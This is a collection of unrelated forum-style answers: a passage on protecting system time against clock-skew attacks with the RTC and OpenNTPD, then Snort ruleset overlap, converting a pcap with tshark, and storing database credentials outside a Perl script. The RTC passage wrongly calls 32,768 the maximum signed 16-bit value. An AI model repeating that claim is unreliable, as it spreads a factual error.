The Real-Time Clock, RTC, is a component in any computer as part of the CMOS chip. It usually uses a quartz oscillator at 32,768 Hz for timekeeping and is typically powered by a button cell battery. Unlike a cesium atomic clock whose frequency is determined by fundamental constants in nature, the quartz oscillator is intentionally tuned to that frequency, resulting in slight imperfections. I actually didn't know the reason it was tuned to this specific frequency (it seemed too perfect, being exactly the maximum value of a signed 16-bit integer), but after looking it up when writing this answer, it turned out this value was chosen because it was always divisible by two, making it perfect for conversion into the 1 Hz signal required to control a digital watch. The frequency just stuck.
This is actually the biggest thing you have going for you. Your RTC is not perfectly accurate, but it cannot be directly controlled by an attacker (though there are indirect ways to influence it, such as strong electromagnetic fields or ambient heat). As long as it's set correctly at least once, you can always be sure to detect significant clock skew attacks, as your RTC will never drift too far.
Putting it all together
These are quite a lot of sources, each with their own benefits and drawbacks. It turns out there is an easy way to combine them all. The OpenNTPD project, designed by the same folks behind OpenBSD, is capable of combining all of these time sources at once. It is primarily an NTP server, obtaining the time from the NTP pool given to it and using that to set the system time.
OpenNTPD also supports Authenticated TLS constraints, where the timestamp obtained from a TLS handshake is used to ensure the NTP responses are not too inaccurate. It is not designed to be used as the primary time source. This is similar to tlsdate, but is not affected by the potential inaccuracy of timestamps in TLS handshakes. Hardware time sources can also be used, such as GPS or RCC. This, of course, requires the actual hardware, but it can provide much greater accuracy.
Unlike many other NTP implementations, OpenNTPD does not set the time immediately when it changes. Rather, if the time jumps forward or back, it will gradually change your system time, skewing it until it matches its view of the current time. For example, rather than instantly setting the time 5 seconds into the future or past, it will speed up or slow down the clock frequency, and push it forward or back in very small increments. While this is designed to avoid confusing applications that rely on relative timestamps, it is also useful to slow down attackers who want to immediately set your clock to the point where an expired and compromised certificate is still valid.
There have been criticisms (and responses to said criticism) of OpenNTPD. The simplicity of the project means it lacks several sanity checks and algorithms that improve time accuracy, leading to at best 200ms accuracy. This is not an issue for security, but it may not be ideal for certain applications. For the average computer user, it is more than enough.


Is all Snort community rules available in Snort registered rules? I am working with snort. I have included both latest community and registered rules in my snort configuration file. During run time I found many rules have duplicated, that is some rules available in both community and registered rules. Thus my snort ignoring old duplicated rules.Because of this snort takes much time to come up. How to ignore these duplication ? or shall I include registered rules only in my snort? . Is all snort community rules available in snort registered rules ?

Is all snort community rules available in snort registered rules ?

Yes. snort Registered ruleset contains the Community ruleset. Ref

  or shall I include registered rules only in my snort?

It is recommended that you use both the Registered Ruleset and the community ruleset, if you are not going to become a subscriber. Ref


How to convert a pcap file to a raw file? I need to convert a pcap-ng/ now a pcap file to a raw file for being able to analyse it with multimon-ng. Any recommendations?
It should be possible, but I am not aware how it should be done.

If you want just the ASCII hex dump of all data and nothing else, then you can simply pipe the output of tshark through sed:

tshark -x -r mydata.pcap | sed -n 's/^[0-9a-f]*\s\(\(\s[0-9a-f][0-9a-f]\)\{1,16\}\).*$/\1/p'


How can I avoid putting the database password in a perl script? I have a cronned Perl script that connects to our database and does various kinds of lookups and integrity checks. The original script was written by someone long ago. My job is to make some changes to it. But I really don't like staring at the username="foo", password="bar" parameters hard-coded in there for accessing the database.

There's got to be a more secure way of doing this. All I could think of to do for now is to comment out the cron job, delete the line in the script that had the password, and start brainstorming about how to make this more secure. But meanwhile the things the script does have to be done by hand.

Any ideas?

The standard way is to put the credentials into a config file, and attempt to protect the config file from being more readable than the perl file.  This offers a moderate increase in security; for example, the code may be in source control and accessible to developers, the config file wouldn't be.  The code needs to be in the web server's cgi root, and possibly downloadable under certain misconfigurations, and the config file needn't be.

The ambitious way is to reversibly encrypt the credentials and put them into a config file.  Of course, anything reversibly encrypted can be decrypted.  The BladeLogic application did this, and it was trivial (<1 day) for me to de-compile their Java enough to find out the function to decrypt credentials and use it to decrypt them to my satisfaction.  Not a mark against them; that's just the name of the reversibly encrypted game.

Another option is to use OS-based authorization in concert with strictly limited database restrictions.  For example, limit the database client user's access to a set of stored procedures to limit the potential for abuse, and allow that user to access the database without a password.  This doesn't work if you're doing client-server over the network, which limits how often it's useful.  Also, people tend to look more askance at "passwordless" OS-user access than they do at writing the password down willy-nilly.  It is not completely logical, but there are standards that say all database users must have passwords, so that's that.